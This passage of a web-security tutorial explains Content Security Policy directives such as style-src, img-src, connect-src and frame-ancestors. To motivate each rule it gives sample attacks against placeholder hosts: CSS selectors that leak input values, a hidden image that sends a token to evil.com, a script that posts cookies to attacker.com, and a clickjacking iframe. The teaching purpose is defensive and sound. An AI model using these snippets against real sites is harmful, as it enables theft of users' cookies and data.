&lt;td&gt;Fonts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;connect-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;connections using &lt;code&gt;fetch()&lt;/code&gt;, WebSocket, EventSource, etc.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;media-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Audio and video&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;frame-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sources allowed to be embedded in &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;frame-ancestors&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Who is allowed to embed your site in a frame&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;base-uri&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Where the &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; HTML tag can point&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;report-uri&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Which URL to send report violations to (deprecated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;report-to&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Replaced &lt;code&gt;report-uri&lt;/code&gt; in CSP level 3&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Let's take a look at some of those directives in more detail:&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;style-src&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Controls which CSS styles the browser is allowed to load and apply.&lt;/p&gt;

&lt;p&gt;It determines where styles can come from, such as external stylesheets, inline styles, or styles with specific hashes, to help protect against style-based injection attacks.&lt;/p&gt;

&lt;p&gt;Here is a table displaying the values &lt;code&gt;style-src&lt;/code&gt; can take:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'self'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows styles from the same origin (your own server).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;URL&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows stylesheets from specific domains (like &lt;code&gt;https://cdn.example.com&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'nonce-xyz'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows inline &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; blocks only if they have a matching &lt;code&gt;nonce&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'sha256-abc...'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; blocks based on the hash of their contents.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'unsafe-hashes'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows certain inline styles with matching hashes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'unsafe-inline'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows &lt;strong&gt;all&lt;/strong&gt; inline styles (style tags and style attributes).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;As you can see, all values valid for &lt;code&gt;script-src&lt;/code&gt; are also valid for &lt;code&gt;style-src&lt;/code&gt;, except for &lt;code&gt;'strict-dynamic'&lt;/code&gt;, which is exclusive to &lt;code&gt;script-src&lt;/code&gt;. These values behave the same way in both directives, with one small nuance.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;'sha256-&amp;lt;hash&amp;gt;'&lt;/code&gt; allows &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; blocks based on the hash of their content, and but the browser will ignore inline styles and JavaScript handlers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;For scripts&lt;/strong&gt;: It is event handlers like &lt;code&gt;onclick&lt;/code&gt;, &lt;code&gt;onchange&lt;/code&gt;, etc.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For styles&lt;/strong&gt;: It is inline styles written directly using the HTML &lt;code&gt;style&lt;/code&gt; attribute.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, the following inline style would be blocked even if its hash matches:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"color: blue;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Click here&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To allow inline styles like this without resorting to &lt;code&gt;'unsafe-inline'&lt;/code&gt;, you must include &lt;code&gt;'unsafe-hashes'&lt;/code&gt; in your policy. This tells the browser to allow inline styles only if their content hashes match a provided &lt;code&gt;'sha256-&amp;lt;hash&amp;gt;'&lt;/code&gt; value, exactly like with &lt;code&gt;script-src&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  CSS And XSS
&lt;/h4&gt;

&lt;p&gt;While CSS can't directly access or send data like JavaScript can, it can be abused to trigger HTTP requests based on certain conditions, effectively turning styles into a data-leaking side channel.&lt;/p&gt;

&lt;p&gt;For example, attackers can use CSS attribute selectors to detect specific values in the DOM (like usernames, tokens, or user-entered text), and then combine those with &lt;code&gt;background-image: url()&lt;/code&gt; or similar CSS properties to secretly trigger a request to an external server.&lt;/p&gt;

&lt;p&gt;Imagine a form like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"user@example.com"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker can inject the following malicious CSS into the page (perhaps through an unsanitized &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; block):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="s1"&gt;"us"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;background-image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sx"&gt;url("https://attacker.com/leak?char=us")&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="s1"&gt;"use"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;background-image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sx"&gt;url("https://attacker.com/leak?char=use")&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="s1"&gt;"user"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;background-image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sx"&gt;url("https://attacker.com/leak?char=user")&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here's what this does: The &lt;code&gt;input[value^="us"]&lt;/code&gt; selector matches any input whose &lt;code&gt;value&lt;/code&gt; starts with &lt;code&gt;"us"&lt;/code&gt;. If the match is successful, the browser will attempt to load the background image&lt;br&gt;
from &lt;code&gt;https://attacker.com/leak?char=us&lt;/code&gt;. That request is sent without the user's knowledge, effectively leaking data to the attacker.&lt;/p&gt;

&lt;p&gt;Each time one matches, the browser leaks another request to the attacker’s server. Using this, they can reconstruct the entire email or token, &lt;strong&gt;one character at a time&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;By crafting multiple selectors and requests, attackers can infer or "brute-force" sensitive data from form fields, one character at a time.&lt;/p&gt;

&lt;p&gt;This is called a &lt;strong&gt;CSS-based side-channel attack&lt;/strong&gt; or &lt;strong&gt;CSS exfiltration&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;To prevent this kind of attack, a well-configured Content Security Policy should restrict &lt;code&gt;style-src&lt;/code&gt; and &lt;code&gt;img-src&lt;/code&gt; to trusted domains. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: style-src 'self'; img-src 'self';
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This policy not only controls where stylesheets can be loaded from, but also where images referenced within CSS (such as through &lt;code&gt;url()&lt;/code&gt;) can be loaded. By restricting both &lt;code&gt;style-src&lt;/code&gt; and &lt;code&gt;img-src&lt;/code&gt; to &lt;code&gt;'self'&lt;/code&gt;, it limits styles and images to those hosted on our own server, shutting down the data-leaking&lt;br&gt;
channel.&lt;/p&gt;
&lt;h4&gt;
  
  
  Recommendations
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Use external stylesheets from trusted sources only.&lt;/li&gt;
&lt;li&gt;Avoid &lt;code&gt;'unsafe-inline'&lt;/code&gt;, as it allows arbitrary inline CSS and is a major security risk.&lt;/li&gt;
&lt;li&gt;Use CSP hashes or nonces for inline styles instead of &lt;code&gt;'unsafe-inline'&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;'unsafe-hashes'&lt;/code&gt; with a valid hash if you need to allow specific inline styles (like in HTML style attributes), without opening up to all inline styles.&lt;/li&gt;
&lt;li&gt;Avoid wildcards &lt;code&gt;*&lt;/code&gt; to prevent loading styles from unknown or dynamic third-party sources.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  &lt;code&gt;img-src&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Controls which sources images can be loaded from. It helps prevent attackers from loading or leaking data through unauthorized image URLs.&lt;/p&gt;

&lt;p&gt;Here are the possible values &lt;code&gt;img-src&lt;/code&gt; can take:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'none'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Blocks all image loading&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'self'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows images from your own origin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;URL&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows images from specific trusted domains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;data:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows loading images encoded as &lt;code&gt;data:&lt;/code&gt; URIs (inline base64)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;blob:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows blob-based image sources (used by JS-generated URLs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;filesystem:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No longer widely supported; avoid&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;data:&lt;/code&gt; and &lt;code&gt;blob:&lt;/code&gt; schemes are valid sources in CSP, and while they can technically be used with directives like &lt;code&gt;script-src&lt;/code&gt; and &lt;code&gt;style-src&lt;/code&gt;, they're most commonly used with &lt;code&gt;img-src&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;These schemes are often used to embed images directly into HTML (by using &lt;code&gt;URL.createObjectURL()&lt;/code&gt; for example) or base64-encoded data.&lt;/p&gt;

&lt;p&gt;For example, using a base64-encoded image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"data:image/png;base64,..."&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Images And XSS
&lt;/h4&gt;

&lt;p&gt;Images can't execute JavaScript, but their best use case is data exfiltration. Take this code for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://evil.com/log?data=stealThisToken"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"display:none"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker uses the &lt;code&gt;src&lt;/code&gt; attribute of &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag to send your token to his/her server.&lt;/p&gt;

&lt;p&gt;Notice that the request is &lt;strong&gt;purely outbound&lt;/strong&gt;. It &lt;strong&gt;sends data&lt;/strong&gt; to the attacker but &lt;strong&gt;can’t receive and run code&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Recommendations
&lt;/h4&gt;

&lt;p&gt;Avoid wildcards like &lt;code&gt;*&lt;/code&gt; and &lt;code&gt;data:&lt;/code&gt; URLs, and restrict to trusted sources only:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: img-src 'self' https://cdn.example.com;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If no external images are required, block them all:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: img-src 'self';
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;font-src&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Controls which sources web fonts (like &lt;code&gt;.woff&lt;/code&gt; or &lt;code&gt;.ttf&lt;/code&gt; files) can be loaded from.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'self'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Load fonts from your own origin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;URL&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Load from a specific external source&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;data:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allow base64-encoded fonts embedded in CSS (rare, not recommended)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;blob:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allow fonts loaded via &lt;code&gt;blob:&lt;/code&gt; URLs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'none'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Block all fonts&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Recommendations
&lt;/h4&gt;

&lt;p&gt;Only allow trusted font sources.&lt;/p&gt;

&lt;p&gt;For example, if you host your own fonts or use a trusted CDN like Google Fonts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: font-src 'self' https://fonts.gstatic.com; style-src https://fonts.googleapis.com;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And this may sound like a broken record, but avoid using wildcards. &lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;connect-src&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;It controls outgoing connections via &lt;code&gt;fetch()&lt;/code&gt;, &lt;code&gt;XMLHttpRequest&lt;/code&gt;, &lt;code&gt;WebSockets&lt;/code&gt;, &lt;code&gt;EventSource&lt;/code&gt;, and &lt;code&gt;navigator.sendBeacon()&lt;/code&gt;.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'self'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allow connections to your own domain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;URL&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allow calls to specific external APIs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;blob:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allow &lt;code&gt;blob:&lt;/code&gt; URLs (used rarely in this context)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'none'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Block all outgoing connections&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;wss://...&lt;/code&gt; / &lt;code&gt;https://...&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;You can specify protocol and domain for WebSocket/API calls&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;connect-src&lt;/code&gt; forms a second line of defense. Consider this scenario:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://attacker.com/log&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;script-src&lt;/code&gt; wasn't properly configured, &lt;code&gt;connect-src&lt;/code&gt; would step in and disallow the HTTP request to &lt;code&gt;https://attacker.com/log&lt;/code&gt; if you set the exact URL (or URLs) the browser is allowed to make requests to.&lt;/p&gt;

&lt;p&gt;So, even though &lt;code&gt;script-src&lt;/code&gt; is essential to have, it's recommended to set up &lt;code&gt;connect-src&lt;/code&gt; as a backup to ensure the browser can only send requests to safe, pre-approved origins.&lt;/p&gt;

&lt;h4&gt;
  
  
  Recommendations
&lt;/h4&gt;

&lt;p&gt;Use &lt;code&gt;'self'&lt;/code&gt; for same-origin requests, and allow only necessary domains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: connect-src 'self' https://api.example.com;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;frame-src&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;frame-src&lt;/code&gt; directive restricts the sources of content your website can embed in an &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;URL&lt;/td&gt;
&lt;td&gt;Allow embedding specific origin(s) like &lt;code&gt;https://www.youtube.com&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'self'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allow embedding your own pages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'none'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Disallow all &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; embedding&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;It prevents your site from embedding untrusted content (and vice versa), and limits attack surfaces related to third-party content.&lt;/p&gt;

&lt;p&gt;Its main use case is to &lt;strong&gt;prevent Clickjacking&lt;/strong&gt;. Attackers can use transparent or hidden &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; elements to trick users into clicking on invisible buttons from another site (like "Delete Account").&lt;/p&gt;

&lt;p&gt;This is a classic clickjacking attack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://victim-site.com/delete"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"opacity:0; position:absolute"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;frame-src&lt;/code&gt; helps prevent this by limiting what can be framed.&lt;/p&gt;

&lt;h4&gt;
  
  
  Recommendations
&lt;/h4&gt;

&lt;p&gt;If your site doesn’t embed any frames, disable it entirely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: frame-src 'none';
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you absolutely need to embed another website, restrict it to that website only and avoid using wildcards (&lt;code&gt;*&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: frame-src 'self' https://trusted.com;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;frame-ancestors&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Unlike &lt;code&gt;frame-src&lt;/code&gt;, this directive controls which websites are allowed to &lt;strong&gt;embed your site&lt;/strong&gt; in an &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'self'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows embedding only by the same origin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'none'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Your website cannot be embedded in other websites&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;URL&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows only the specified origin to embed your site&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;scheme&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows any origin using the specified scheme&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Recommendations
&lt;/h4&gt;

&lt;p&gt;Block all framing to prevent clickjacking:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: frame-ancestors 'none';
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If embedding is required, allow only trusted parent domains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: frame-ancestors https://partner.example.com;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;base-uri&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This directive restricts the use of the &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; HTML tag, which controls how relative URLs are resolved on your page.&lt;/p&gt;

